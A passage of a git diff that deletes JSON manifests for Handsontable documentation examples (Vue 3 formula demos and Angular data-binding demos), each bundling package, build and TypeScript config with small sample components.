    \n \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/react/example1.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-custom-functions.vue.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-custom-functions.vue.json deleted file mode 100644 index 9d5fd701..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-custom-functions.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Demo: custom COMMISSION function · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-custom-functions\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-custom-functions.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-custom-functions","exampleTitle":"Demo: custom COMMISSION function","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-data-grid.vue.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-data-grid.vue.json deleted file mode 100644 index 7422efdb..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-data-grid.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Data grid example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-data-grid\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-data-grid.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json deleted file mode 100644 index cef9f73d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-named-expressions1\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-named-expressions1.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json deleted file mode 100644 index 2c7b22b7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-named-expressions2\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-named-expressions2.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example1.vue.json deleted file mode 100644 index e111ca49..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport \"./styles.css\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n","/src/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/vue/example1.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example1.ts.json deleted file mode 100644 index 7f4c0dd7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n startRows: 5,\n startCols: 5,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example1.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example2.ts.json deleted file mode 100644 index 408486f9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 0 },\n // skip the second column\n { data: 2 },\n { data: 3 },\n { data: 4 },\n { data: 5 },\n { data: 6 },\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example2.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example3.ts.json deleted file mode 100644 index 69af1a3a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface Person {\n id: number;\n name: string;\n address: string;\n}\n\n@Component({\n selector: 'example3-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data: Person[] = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example3.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example4.ts.json deleted file mode 100644 index a4028a6c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": 